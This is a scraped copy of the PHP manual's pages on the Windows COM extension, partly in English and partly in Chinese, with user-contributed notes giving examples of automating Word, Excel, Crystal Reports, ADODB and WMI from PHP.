As of PHP 5.3.15 / 5.4.5, this extension requires php_com_dotnet.dll to be enabled inside of php.ini in order to use these functions. Previous versions of PHP enabled these extensions by default.

You are responsible for installing support for the various COM objects that you intend to use (such as MS Word); we don't and can't bundle all of those with PHP.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

COM 配置选项
名字 | 默认 | 可修改范围 | 更新日志
com.allow_dcom | "0" | PHP_INI_SYSTEM | 自 PHP 4.0.5 起可用
com.autoregister_typelib | "0" | PHP_INI_ALL | 在 PHP 4 中是 PHP_INI_SYSTEM。自 PHP 4.1.0 起可用
com.autoregister_verbose | "0" | PHP_INI_ALL | 在 PHP 4 中是 PHP_INI_SYSTEM。自 PHP 4.1.0 起可用
com.autoregister_casesensitive | "1" | PHP_INI_ALL | 在 PHP 4 中是 PHP_INI_SYSTEM。自 PHP 4.1.0 起可用
com.code_page | "" | PHP_INI_ALL | 自 PHP 5.0.0 起可用
com.typelib_file | "" | PHP_INI_SYSTEM | 自 PHP 4.0.5 起可用
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

com.allow_dcom

如果打开此选项，PHP 将被允许以一个 D-COM（Distributed COM）客户方式操作并允许 PHP 脚本在远程服务器上实例化 COM 对象。

com.autoregister_typelib

When this is turned on, PHP will attempt to register constants from the typelibrary of objects that it instantiates, if those objects implement the interfaces required to obtain that information. The case sensitivity of the constants it registers is controlled by the configuration directive.

com.autoregister_verbose

When this is turned on, any problems with loading a typelibrary during object instantiation will be reported using the PHP error mechanism. The default is off, which does not emit any indication if there was an error finding or loading the type library.

com.autoregister_casesensitive

When this is turned on (the default), constants found in auto-loaded type libraries will be registered case sensitively. See com_load_typelib() for more details.

com.code_page

It controls the default character set code-page to use when passing strings to and from COM objects. If set to an empty string, PHP will assume that you want CP_ACP, which is the default system ANSI code page.

If the text in your scripts is encoded using a different encoding/character set by default, setting this directive will save you from having to pass the code page as a parameter to the COM class constructor. Please note that by using this directive (as with any PHP configuration directive), your PHP script becomes less portable; you should use the COM constructor parameter whenever possible.

Note: This configuration directive was introduced with PHP 5.

com.typelib_file

When set, this should hold the path to a file that contains a list of typelibraries that should be loaded on startup. Each line of the file will be treated as the type library name and loaded as though you had called com_load_typelib(). The constants will be registered persistently, so that the library only needs to be loaded once. If a type library name ends with the string #cis or #case_insensitive, then the constants from that library will be registered case insensitively.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

CLSCTX_INPROC_SERVER (integer)
CLSCTX_INPROC_HANDLER (integer)
CLSCTX_LOCAL_SERVER (integer)
CLSCTX_REMOTE_SERVER (integer)
CLSCTX_SERVER (integer)
CLSCTX_ALL (integer)
VT_NULL (integer)
VT_EMPTY (integer)
VT_UI1 (integer)
VT_I2 (integer)
VT_I4 (integer)
VT_R4 (integer)
VT_R8 (integer)
VT_BOOL (integer)
VT_ERROR (integer)
VT_CY (integer)
VT_DATE (integer)
VT_BSTR (integer)
VT_DECIMAL (integer)
VT_UNKNOWN (integer)
VT_DISPATCH (integer)
VT_VARIANT (integer)
VT_I1 (integer)
VT_UI2 (integer)
VT_UI4 (integer)
VT_INT (integer)
VT_UINT (integer)
VT_ARRAY (integer)
VT_BYREF (integer)
CP_ACP (integer)
CP_MACCP (integer)
CP_OEMCP (integer)
CP_UTF7 (integer)
CP_UTF8 (integer)
CP_SYMBOL (integer)
CP_THREAD_ACP (integer)
VARCMP_LT (integer)
VARCMP_EQ (integer)
VARCMP_GT (integer)
VARCMP_NULL (integer)
NORM_IGNORECASE (integer)
NORM_IGNORENONSPACE (integer)
NORM_IGNORESYMBOLS (integer)
NORM_IGNOREWIDTH (integer)
NORM_IGNOREKANATYPE (integer)
NORM_IGNOREKASHIDA (integer)
DISP_E_DIVBYZERO (integer)
DISP_E_OVERFLOW (integer)
MK_E_UNAVAILABLE (integer)

User Contributed Notes

There are no user contributed notes for this page.


Errors and error handling

This extension will throw instances of the class com_exception whenever there is a potentially fatal error reported by COM. All COM exceptions have a well-defined code property that corresponds to the HRESULT return value from the various COM operations. You may use this code to make programmatic decisions on how to handle the exception.

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • For Each
  • Arrays and Array-style COM properties

User Contributed Notes

There are no user contributed notes for this page.


For Each

You may use PHP's own foreach statement to iterate over the contents of a standard COM/OLE IEnumVariant. In layman's terms, this means that you can use foreach in places where you would have used For Each in VB/ASP code.

Example #1 For Each in ASP

<%
Set domainObject = GetObject("WinNT://Domain")
For Each obj in domainObject
  Response.Write obj.Name & "<br />"
Next
%>

Example #2 foreach in PHP

<?php
$domainObject = new COM("WinNT://Domain");
foreach ($domainObject as $obj) {
   echo $obj->Name . "<br />";
}
?>

User Contributed Notes

szir at sch dot bme dot hu 05-Jul-2011 02:54
As described in the PHP 5 COM changes article: http://devzone.zend.com/node/view/id/762
You not just "may use foreach statement", but you have to, because $domainObject->Next() is not available in PHP 5 (syntax has been dropped, not backwards compatible)


Arrays and Array-style COM properties

Many COM objects expose their properties as arrays, or using array-style access.

You can:

  • Access multi-dimensional arrays, or COM properties that require multiple parameters using PHP array syntax. You can also write or set properties using this technique.

  • Iterate SafeArrays ("true" arrays) using the foreach control structure. This works because SafeArrays include information about their size. If an array-style property implements IEnumVariant then you can also use foreach for that property too; take a look at For Each for more information on this topic.

User Contributed Notes

There are no user contributed notes for this page.


The COM class

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

简介

The COM class allows you to instantiate an OLE compatible COM object and call its methods and access its properties.

类摘要

COM extends VARIANT {
/* 方法 */
__construct ( string $module_name [, mixed $server_name = NULL [, int $codepage = CP_ACP [, string $typelib ]]] )
}

Overloaded Methods

The returned object is an overloaded object, which means that PHP does not see any fixed methods as it does with regular classes; instead, any property or method accesses are passed through to COM.

PHP will automatically detect methods that accept parameters by reference, and will automatically convert regular PHP variables to a form that can be passed by reference. This means that you can call the method very naturally; you needn't go to any extra effort in your code.

COM examples

Example #1 COM example (1)

<?php
// starting word
$word = new COM("word.application") or die("Unable to instantiate Word");
echo "Loaded Word, version {$word->Version}\n";

//bring it to front
$word->Visible = 1;

//open an empty document
$word->Documents->Add();

//do some weird stuff
$word->Selection->TypeText("This is a test...");
$word->Documents[1]->SaveAs("Useless test.doc");

//closing word
$word->Quit();

//free the object
$word = null;
?>

Example #2 COM example (2)

<?php

$conn = new COM("ADODB.Connection") or die("Cannot start ADO");
$conn->Open("Provider=SQLOLEDB; Data Source=localhost;
Initial Catalog=database; User ID=user; Password=password");

$rs = $conn->Execute("SELECT * FROM sometable");    // Recordset

$num_columns = $rs->Fields->Count();
echo $num_columns . "\n";

for ($i=0; $i < $num_columns; $i++) {
    $fld[$i] = $rs->Fields($i);
}

$rowcount = 0;
while (!$rs->EOF) {
    for ($i=0; $i < $num_columns; $i++) {
        echo $fld[$i]->value . "\t";
    }
    echo "\n";
    $rowcount++;            // increments rowcount
    $rs->MoveNext();
}

$rs->Close();
$conn->Close();

$rs = null;
$conn = null;

?>

Table of Contents

  • COM::__construct — COM class constructor

User Contributed Notes

Danil_lll 14-Aug-2018 10:14
Hello. There is a code c# which works with the COM-library (written on C++) - hybrid.dll.
I need to rewrite this code from C# to PHP (that is connect the COM-library to the PHP code)

Here is the function that is called inside C#:
Gr = HybridLib.Hybrid_Color.GREEN;

And here is the list of "Hybrid_Color"which in the library:
enum Hybrid_Color
{
    GREEN = 0x00000001,
    BLACK = 0x00000002,
    BLUE = 0x00000004,
};

The library itself was launched in PHP:
$PHP_Lib = new COM("HybridLib.Hybrid");

Can not assign value:
$gr = $PHP_Lib -> ..... ?????

What I write next, I don't know...
Tell me, please, who knows...
IceNV 13-Dec-2016 02:17
Under PHP7(.x) 64-bit, there is a documentation error (on the MSDN side, already reported) causing problems if you try to manipulate the registry (StdRegProv) through COM.

Indeed, MSDN reports that the registry hive/root must be reported as a uint32, which means that, in PHP 64-bit, one would create a new Variant($root,VT_UI4).

This would throw a type mismatch error.
It seems internally and contrary to what MSDN says (as of now, 2016-12-13), the root parameter must actually be passed as an int32.

So you have to :
1. convert your root number to a negative int to avoid out-of-bounds exceptions when creating the variant below (basically the integer being >= 2^31, you have to wrap it around the 32-bit signed integer maximum yourself) ;
2. create a new Variant($root,VT_I4) ;
3. pass that Variant to your COM API call.

This did not happen before PHP 7.0 as it always used VT_I4 internally before (see https://bugs.php.net/bug.php?id=73605), but now it respects (and is right to do so) the real integer length, so without an explicit conversion, PHP7 would now output a VT_I8 on x64, versus VT_I4 for PHP5.
juan156_elias at gmail dot com 08-Nov-2015 03:22
This is an example of using .Net using the NetPhp library that is based on the COM/DOTNET classes.

You can use any .dll file,  wether it is or not COM decorated and any of the .Net framework types out of the box. You can also target any version of the .Net framework.

<?php

$runtime = new \NetPhp\Core\NetPhpRuntime('COM', 'netutilities.NetPhpRuntime');

// Add both SpreadsheetLight and the OpenXML it depends on.
$runtime->RegisterAssemblyFromFile('/binaries/SpreadsheetLight.dll', 'SpreadsheetLight');
$runtime->RegisterAssemblyFromFile('/binaries/DocumentFormat.OpenXml.dll', 'DocumentFormat.OpenXml');
$runtime->RegisterAssemblyFromFile('/binaries/AjaxMin.dll', 'AjaxMin');

// Using the FullName of a type that belongs to an assembly that has already been registered.
$datetime = $runtime->TypeFromName("System.DateTime");

// Using the FullName of a type that has not been registered yet (from a file)
$minifier = $runtime->TypeFromFile("Microsoft.Ajax.Utilities.Minifier", APPLICATION_ROOT . '/binaries/AjaxMin.dll');

// Using the FullName of a type that has not been registered yet (autodiscoverable)
$datetime2 = $runtime->TypeFromAssembly("System.DateTime", "mscorlib, ....");

$datetime->Instantiate();
echo $datetime->ToShortDateString()->Val(); // Outputs 01/01/0001

// We can only use Int32 from native PHP, so parse
// an Int64 that is equivalent to (long) in the DateTime constructor.
$ticks = $runtime->TypeFromName("System.Int64")->Parse('98566569856565656');

$datetime->Instantiate($ticks);
echo $datetime->ToShortDateString()->Val(); // Outputs 07/05/0313

// We can only use Int32 from native PHP, so parse
// an Int64 that is equivalent to (long) in the DateTime constructor.
$ticks = $runtime->TypeFromName("System.Int64")->Parse('98566569856565656');

// Dump a .Net System.Timers.Timer object!
$data = $timer->GetPhpFromJson();

var_dump($data);

    // Outputs:
    //  object(stdClass)[38]
    //     public 'AutoReset' => boolean true
    //     public 'Enabled' => boolean false
    //     public 'Interval' => int 100
    //     public 'Site' => null
    //     public 'SynchronizingObject' => null
    //     public 'Container' => null

// Check if today is monday
$IsMonday = $runtime->TypeFromName("System.DateTime")->Now->DayOfWeek->
Equals($runtime->TypeFromName("System.DayOfWeek")->Enum('Monday'));

?>
Eion Robb 12-Feb-2014 09:59
All the examples here show
<?php $var = new COM('Whatever.Something') or die(); ?>
however the 'or die()' bit is redundant as a fatal 'com_exception' exception will be thrown, killing your script.  If you want to handle the 'or' condition you need to catch the exception, eg
<?php
try {
$var = new COM('Whatever.Something');
} catch (com_exception $e) {
 //couldn't load, do something else like register
exec('regsvr32 /s whatever.dll');
}
?>
rogier 28-Oct-2011 10:09
Took me a while to figure this out by trial and error:

If your frustrated when getting a com-exception like "Error [0x80004002] ..." (with a message nagging you about an unsupported interface), and you're calling a class method through COM that expects a char as an argument, you should NOT call the method with a single-character string.

The correct way of calling a method like this is to use a VARIANT with a type of VT_UI1.

COM enabled method definition:

public bool DoSomething(char arg);

<?php

$com = new COM('Some.Class.Name');

// This will fail
$var = 'a';
$com->DoSomething($var);

// This works correctly
$var = new VARIANT(ord('a'), VT_UI1);
$com->DoSomething($var);

?>

I hope this helps some people
sparrowstail at googlemail dot com 12-Nov-2010 11:35
This script reports all Windows drives, drive type, status (if not available), free space and total drive size:

<?php

    $fso = new COM('Scripting.FileSystemObject');
    $D = $fso->Drives;
    $type = array("Unknown","Removable","Fixed","Network","CD-ROM","RAM Disk");
    foreach($D as $d ){
       $dO = $fso->GetDrive($d);
       $s = "";
       if($dO->DriveType == 3){
           $n = $dO->Sharename;
       }else if($dO->IsReady){
           $n = $dO->VolumeName;
           $s = file_size($dO->FreeSpace) . " free of: " . file_size($dO->TotalSize);
       }else{
           $n = "[Drive not ready]";
       }
   echo "Drive " . $dO->DriveLetter . ": - " . $type[$dO->DriveType] . " - " . $n . " - " . $s . "<br>";

    }

      function file_size($size)
      {
      $filesizename = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
      return $size ? round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $filesizename[$i] : '0 Bytes';
      }

?>

There are a number of other properties of the drive object which can be called this way - see:

http://msdn.microsoft.com/en-us/library/ts2t8ybh%28VS.85%29.aspx
z3n at overflow dot biz 24-Sep-2009 08:35
On a query reply using ADODB.Connection object, all my $rs->Fields['field_name']->Value returned `variable Object` when inserted into a array, like this:

<?php
for ($rl[$v]=array(),_qm($_query);!$res->EOF;$res->MoveNext()) {
    $rl[$v][]=$res->Fields['x']->Value;
}
?>

I figured out that converting the value into a INT fixed the issue:

<?php $rl[$v][]=intval($res->Fields['x']->Value); ?>
rupams2002 at yahoo dot com 24-Jul-2009 10:38
If you make a DLL in VB6 and want to access from PHP, here is the example. Only connection method is defined. You need to create rest....

How to use in PHP
DLL refers ProjectName . ClassName
$Obj = new COM ('ProjectName.ClassName');
$dw->MsSql_Connect('MachineName', 'DB_NAme');

If you want to connect Database through DLL then

Open project in VB6 Class Module :
And add this code and compile and make DLL.

Public Function MsSql_Connect(ByVal DBMachineID As String, ByVal DBName As String) As Boolean
    Dim LocalCn As New ADODB.Connection
    Dim conStr As String, DB_UserID As String, DB_Password As String

    On Error GoTo ErrorHandler

    DB_UserID = "DBUserName"
    DB_Password = "DBPassword"

    Set LocalCn = New ADODB.Connection
    LocalCn.CursorLocation = adUseClient

    conStr = "Provider=SQLOLEDB.1;Password=" & DB_Password & ";Persist Security Info=True;User ID=" & DB_UserID & ";Initial Catalog=" & DBName & ";Data Source=" & DBMachineID & ";"
    LocalCn.Open conStr

    DBConnection = conStr

    MsSql_Connect = True
    Set LocalCn = Nothing

ErrorHandler:
    If Err.Number <> 0 Then
       MsSql_Connect = False
       Set LocalCn = Nothing
       Err.Raise vbObjectError + 513, App.EXEName, Err.Description
    End If
End Function

"DBConnection" is a variable you need to Set + Get property in VB6 to keep the connection string alive in DLL.

Remember :
Err.Raise vbObjectError + 513, App.EXEName, Err.Description

will raise error in PHP, user can see error in browser and stop execution php code.

If you need any help email me.

Mohammed Ziaul Hasan [Rupam]
rupams2002@yahoo.com
Senior Developer
Canada
pavanphp Gudipati 17-Jun-2009 06:49
Here I Am describing a Program from which you can connect any exe(software) using COM component.
pdf2swf is a software for converting PDf to SWF files.

This is best example for  WScript.Shell

<?php
#code for pdf to swf using pdf2swf software
#this codeworks in windows environment.

## Important Parameters
$software_path  ="C:\\SWFTools\\pdf2swf" ;
$pdf_path       ="C:\\SWFTools\\abcd.pdf" ;
$argument       = "-o";
$swf_output     ="C:\\SWFTools\\abcd.swf" ;

#actual code
$cmd        =" $software_path $pdf_path  $argument $swf_output";

$WshShell   = new COM("WScript.Shell");
$oExec      = $WshShell->Run("cmd /C $cmd ", 0, true);

# 0 for command prompt invisible mode
# 3 for visible

?>
tsintra at humansoft dot pt 11-May-2009 08:18
After one week of trying to understand what was wrong with my PHP communication with MS Word, i finally got it working...
It seems that if you're running IIS, the COM object are invoked with restricted privileges.
If you're having permission problems like not being able to opening or saving a document and you're getting errors like:

 - This command is not available because no document is open
or
 - Command failed

try this (if you're running IIS):

- Execute "dcomcnfg"
- Open Component Services > Computers > My Computer > DCOM Config
- Search for Microsoft Office Word 97-2003 Document (it will be something like this translated to your language, so take a while and search for it)
- Right-Click on it and open the properties
- Choose "Identity" tab
- Normally this is set to "the launching user". You have to change this to "the interactive user" or a admin user of your choice.
- Apply these new settings and test your COM application. It should work fine now.

I hope I save lots and lots of hours of headaches to some of you :)
fernando at digitins dot com dot br 08-Apr-2009 07:30
When you save a MS Word document with this:
<?php
$word->Documents[1]->SaveAs('myfile.doc');
?>

Your file maybe go to this location:
C:\WINDOWS\system32\config\systemprofile\My documents (and not to your script directory)
dpchiesa at hotmail dot com 27-Mar-2009 09:35
Here's a way to create an AES-Encrypted ZIP file in PHP, using DotNetZip via the COM class.

<?php
try
{
  $fname = "zip-generated-from-php-" . date('Y-m-d-His') . ".zip";
  $zipOutput = "c:\\temp\\" . $fname;
  $zip = new COM("Ionic.Zip.ZipFile");
  $zip->Name = $zipOutput;
  $dirToZip= "c:\\temp\\psh";
  #$dirToZip= "c:\\dinoch\\webs\\php";
  $zip->Encryption = 3;
  $zip->Password = "AES-Encryption-Is-Secure";
  $zip->AddDirectory($dirToZip);
  $zip->Save();
  $zip->Dispose();

  if (file_exists($zipOutput))
  {
    header('Cache-Control: no-cache, must-revalidate');
    header('Content-Type: application/x-zip');
    header('Content-Disposition: attachment; filename=' . $fname);
    header('Content-Length: ' . filesize($zipOutput));
    readfile($zipOutput);
    unlink($zipOutput);
  }
  else
  {
    echo '<html>';
    echo '  <head>';
    echo '  <title>Calling DotNetZip from PHP through COM</title>';
    echo '  <link rel="stylesheet" href="basic.css"/>';
    echo '  </head>';
    echo '<body>';
    echo '<h2>Whoops!</h2>' . "<br/>\n";
    echo '<p>The file was not successfully generated.</p>';
    echo '</body>';
    echo '</html>';
  }
}
catch (Exception $e)
{
    echo '<html>';
    echo '  <head>';
    echo '  <title>Calling DotNetZip from PHP through COM</title>';
    echo '  <link rel="stylesheet" href="basic.css"/>';
    echo '  </head>';
    echo '<body>';
    echo '<h2>Whoops!</h2>' . "<br/>\n";
    echo '<p>The file was not successfully generated.</p>';
    echo '<p>Caught exception: ',  $e->getMessage(), '</p>', "\n";
    echo '<pre>';
    echo $e->getTraceAsString(), "\n";
    echo '</pre>';
    echo '</body>';
    echo '</html>';
}

?>
pavanphp at sparsh dot net 14-Feb-2009 05:42
This is the code for entering Values in MS word through Php Program.

First : You need to make word file with including Boolmark
(Ms word 2003 , Insert -> Bookmark ->Bookmark Name -> add).
Example
Name : add here bookmark
 This is something like input as a text box.  Here I given 5 fields.
Name , TODAYDATE , Company ,project , Features

Here I opened a word file, and put data into Bookmark fields using PHP.

Just note : it works in c:/ only. (not sure why), C:/program files may take longer time. (waiting for ...)

<?php

com_load_typelib('Word.Application');

$word = new COM("word.application") or die("Unable to instantiate Word");

// use like this. Place your's word file in C drive
$word->Documents->Open('C:/reminder_new.doc');
echo $current_date = date("m/d/Y");

$tim= date("Y-m-d");

$info_array=array(  "Name"      => "pavan",
                    "TODAYDATE" => "$tim" ,
                    "Company"   => "sparsh" ,
                    "project"   => "Myrepc",
                    "Features"   => "Auto fill form editor") ;

foreach($info_array as $bookmarkname => $re)
    {

        $objBookmark = $word->ActiveDocument->Bookmarks($bookmarkname);
        $range = $objBookmark->Range;
        echo $range->Text = $re ;

    }

$new_file = "c:/reminder_filled.doc";

$word->Documents[1]->SaveAs($new_file);

$word->ActiveDocument->Close(false);

$word->Quit();
$word = null;

?>
james dot m dot love at gmail dot com 07-Jan-2009 03:27
If you're using COM to create a DSN Less connection to an MS Access 2007 database, you'll find through Googling that you need to use an updated version of Jet, so the connection string I've found looks like this:

<?php
$databaselocation = "C:\Path\to\db.accdb";
$conn = new COM('ADODB.Connection') or exit('Cannot start ADO.');
$conn->Open("Provider=Microsoft.ACE.OLEDB.12.0; Data Source=$databaselocation") or die('Cannot start with Jet');
?>

However, on my setup (WinVista, Access 2007, PHP526) I found that it always 'dies' with "Cannot start with Jet", even if the connection was successful ($conn->State reads "1").

I figured to just drop the die() command on $conn->Open(). If something catastrophic happens with the ADO connection then it's own error handling engine passes stack traces, etc back to the console/standard output.

Therefore, my Open() command looks like this:

<?php
$conn->Open("Provider=Microsoft.ACE.OLEDB.12.0; Data Source=$databaselocation");
?>
casanoteva at yahoo dot com 26-Dec-2008 01:19
Hi, just wanna share to everyone after tried and tested many many times to create report in PDF format from Crystal Report.
Finally I can do it without any error.
 Here is my system; PHP 5.1.6, MSSQL2005 and Crystal Report Server XI RL2

<?php

//- Variables - for your RPT and PDF
echo "Print Report Test";
$my_report = "D:\\Folder1\\SubFolder1\\Report.rpt"; //
rpt source file
$my_pdf = "D:\\Folder1\\SubFolder1\\Report.pdf"; // RPT export to pdf file
//-Create new COM object-depends on your Crystal Report version
$ObjectFactory= new COM("CrystalReports115.ObjectFactory.1") or die ("Error on load"); // call COM port
$crapp = $ObjectFactory-> CreateObject("CrystalDesignRunTime.Application"); // create an instance for Crystal
$creport = $crapp->OpenReport($my_report, 1); // call rpt report

// to refresh data before

//- Set database logon info - must have
$creport->Database->Tables(1)->SetLogOnInfo("servername", "DBname", "user", "password");

//- field prompt or else report will hang - to get through
$creport->EnableParameterPrompting = 0;

//- DiscardSavedData - to refresh then read records
$creport->DiscardSavedData;
$creport->ReadRecords();

//export to PDF process
$creport->ExportOptions->DiskFileName=$my_pdf; //export to pdf
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // export to file
$creport->ExportOptions->FormatType=31; // PDF type
$creport->Export(false);

//------ Release the variables ------
$creport = null;
$crapp = null;
$ObjectFactory = null;

//------ Embed the report in the webpage ------
print "<embed src=\"D:\\Folder1\\SubFolder1\\Report.pdf\" width=\"100%\" height=\"100%\">"

?>

 That's all for me, anyway in Crystal Report I have to check DisCardSavedData, Save data with report and AutoSave (1 min) in Option Tab and also in Report Options I have to check save dat with report, too.

Hope this should be help to anybody

Casanoteva
johnno1985 at gmail dot com 21-Aug-2008 11:34
I couldn't find an example anywhere on what I was trying to do.  After taking bits from everyone I ended up with something that worked.

Im using Crystal Reports 10, MS SQL Server 2005, Apache2, and PHP5.

My report uses an SQL Store Procedure and passes some parameter to get the report data, so our PHP must set the database logon info and pass the parameters.

Below is the solution I came up with:

<?php

//------  Variables ------
$my_report = "C:\\Apache2\htdocs\\test\\MyReport.rpt";  //This must be the full path to the file
$my_pdf = "C:\\Apache2\htdocs\\test\\MyReport.pdf";

//------ Create a new COM Object of Crytal Reports 10 ------
$ObjectFactory= new COM("CrystalReports10.ObjectFactory.1");

//------ Create a instance of library Application -------
$crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application.10");

//------ Open your rpt file ------
$creport = $crapp->OpenReport($my_report, 1);

//------ Set database logon info ------
$creport->Database->Tables(1)->SetLogOnInfo("MYSERVER", "Database", "user", "password");

//------ Suppress the Parameter field prompt or else report will hang ------
$creport->EnableParameterPrompting = 0;

//------ DiscardSavedData make a Refresh in your data -------
$creport->DiscardSavedData;
$creport->ReadRecords();

//------ Pass formula fields --------
$creport->FormulaFields->Item(1)->Text = ("'My Report Title'");
$creport->ParameterFields(1)->AddCurrentValue ("FirstParameter");
$creport->ParameterFields(2)->AddCurrentValue (2000);

//------ Export to PDF -------
$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->FormatType=31;
$creport->ExportOptions->DestinationType=1;
$creport->Export(false);

//------ Release the variables ------
$creport = null;
$crapp = null;
$ObjectFactory = null;

//------ Embed the report in the webpage ------
print "<embed src=\"MyReport.pdf\" width=\"100%\" height=\"100%\">"

?>

Obviously there's plenty of room for refinement in there, but it works and should get you going on the right track.  I also found that during testing, the script was hanging before supressing the parameter prompt. Once this had happened, some exports that had been working earlier stopped completely and wouldn't work again untill I restarted Apache.  This might be something worth doing if you keep having issues after a script has hung.
verticka at hotmail dot com 01-Aug-2008 04:38
Voila une deuxime fonction pour excel 2007 et le plugin pdf

<?php
function xls2pdf($doc,$pdf)
{

// Pas de paramétres requis
$empty = new VARIANT();

/* Supression du pdf si il existe */
if(file_exists ($pdf))
@unlink($pdf);

/* Démarrage de Word */
$w = new COM("excel.application") or die("Impossible d'instancier l'application Word");

/* Test de Word 2007 */
if($w->Version > 11)
{
    /* Amener Word devant */
    $w->Visible = 1;

    /* Test du fichier */
    if(file_exists ($doc))
        $w->Workbooks->Open($doc);
    else
        return false;

    /* Quelques commandes */
    $w->Workbooks[1]->ExportAsFixedFormat(0,$pdf);

    /* Fermeture de word */
    $w->Workbooks[1]->Close(false);
}
$w->Quit();

/* Libération des ressources */
$w = null;
unset($w);

/* Test du fichier */
if(file_exists ($pdf))
    return true;
else
    return false;

}

if(xls2pdf("c:\\test.xls","c:\\test.pdf"))
echo "ok";
else
echo "nok";
?>

Pour les options d'exportation :
http://msdn.microsoft.com/en-us/library/bb238907.aspx

http://verticka.blogspot.com/
mastrboy.servebeer.com 13-Jun-2008 05:03
quick wmi query example:

<?php
    $obj = new COM ( 'winmgmts://localhost/root/CIMV2' );
    $wmi_computersystem =     $obj->ExecQuery("Select * from Win32_ComputerSystem");
    $wmi_bios             =    $obj->ExecQuery("Select * from Win32_BIOS");
    foreach ( $wmi_computersystem as $wmi_call )
    {
        $model = $wmi_call->Model;
    }

    foreach ( $wmi_bios as $wmi_call )
    {
        $serial = $wmi_call->SerialNumber;
        $bios_version = $wmi_call->SMBIOSBIOSVersion;
    }
    echo "Bios version   : $bios_version\n".
         "Serial number  : $serial\n".
         "Hardware Model : $model\n";
?>
mbirth at webwriters dot de 08-Jun-2008 03:19
Using the DynamicWrapper from http://freenet-homepage.de/gborn/WSHBazaar/WSHDynaCall.htm and after registering it via "regsvr32 dynwrap.dll", you can easily set output colors to make colorful CLI scripts even on Windows.

<?php

$dw = new COM('DynamicWrapper');  // needs dynwrap.dll (regsvr32 dynwrap.dll)

// register needed features
$dw->Register('kernel32.dll', 'GetStdHandle', 'i=h', 'f=s', 'r=l');
$dw->Register('kernel32.dll', 'SetConsoleTextAttribute', 'i=hl', 'f=s', 'r=t');
$dw->Register('kernel32.dll', 'SetConsoleTitle', 'i=s', 'f=s', 'r=l');

// get console handle
$ch = self::$dw->GetStdHandle(-11);  // -11 = STD_OUTPUT_HANDLE

?>

After these initialization steps, you can set the console output color using:

<?php
$dw->SetConsoleTextAttribute($ch, 14);
echo 'This is yellow text!';
$dw->SetConsoleTextAttribute($ch, 7);
echo 'Back to normal gray!';
?>

Using SetConsoleTitle you can even set the title displayed in the console window.

Color values are 0..7 for dark colors and 8..15 for light colors. Sequence is (black/silver, blue, green, cyan, red, magenta, yellow/brown, white/gray). I also found that if you add 16384 to the value, it should be inverse. 32768 added should get underlined text. But these latter two didn't work for me.
amenthes at NOSPAM dot gmail dot com 03-Mar-2008 10:13
If you ever want to save an Excel(.xls) file into the Office Excel 2003 XML format, just use

$excel->Workbooks[1]->SaveAs('new_file_name.xml', 46);

That's the number you need, 46.
halfer 21-Jun-2007 05:03
Thanks to paul at completewebservices who added a note earlier; I have used his code to solve a particularly difficult issue with the Crystal 9 runtime component. For some reason, VBA/VBS can pass a native Date type as a parameter to a Crystal Report requiring a date, but in PHP I've tried all manner of strings, unix timestamps, COM variant dates etc and all of these resulted in a com_exception.

My solution was to employ VBScript to borrow the CDate function, which works correctly. Not the most elegant of solutions, but this parameterised approach is to be preferred to search-n-replacing the RecordSelectionFormula string. Of course if anyone here has an even better approach, do post it here - I am sure it would be of use.

<?php
// $rptParam is a report parameter object having a type of date
$oScript = new COM("MSScriptControl.ScriptControl");
$oScript->Language = "VBScript";
$oScript->AllowUI = false;
$oScript->AddObject('rptParam', $rptParam, true);
$oScript->AddCode('Function SetDateParameter(strDate)
rptParam.AddCurrentValue(CDate(strDate))
End Function');
$oScript->Run("SetDateParameter", "25 April 2006");
?>
hwcshirley at gmail dot com 21-May-2006 10:59
Reply to: djogopatrao at gmail dot com
I have change little bit your code. Its work.

$COM_Object = "CrystalDesignRunTime.Application";
$my_report = "C:\\appserv\\www\\mc\\test.rpt";
$my_pdf = "C:\\appserv\www\\mc\\test.pdf";

$crapp= New COM($COM_Object) or die("Unable to Create Object");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com 05-Apr-2006 12:25
My previous notes about Crystal Reports have vanished away, but anyway I was up to correct them.

The code above connects to COM (beware of the version number! search on the Registry Editor for the correct name to put in $COM_Object), opens a report from a file ($my_report), reload records from database and then exports it to a PDF file ($my_pdf).

* IMPORTANT * this code, when invoked from the browser (I'm using Apache) AND with a report that connects to a ODBC database, does not work (the problem is specificly the line ReadRecords(), but may arise without it too when data is not saved into the report file).

But when you run this code by PHP-CLI (that is, by the command line), it works ok! I bug-reported this, but have no answer till now ( give it a vote, if you thing it's important: http://bugs.php.net/bug.php?id=36959 ).

Also, exceptions may arise, so put it on a try_catch block.

--------------------------

// by dfcp '06 (djogopatrao@gmail.com)

$COM_Object = "CrystalReports11.ObjectFactory.1";
$my_report = "C:\\report.rpt";
$my_pdf = "C:\\report.pdf";

$ObjectFactory= New COM($COM_Object);
$crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com 04-Mar-2006 07:27
I found somewhere (http://www.recrystallize.com/merchant/supportfaq/supportfaq0003.htm) a list relating each version of Crystal Reports to its respective progID - it may help some fellows out there.

7          Crystal.CRPE.Application

8.0        CrystalRuntime.Application or CrystalRuntime.Application.8

8.5        CrystalRuntime.Application or CrystalRuntime.Application.8.5

9 (RDC)    CrystalRuntime.Application.9
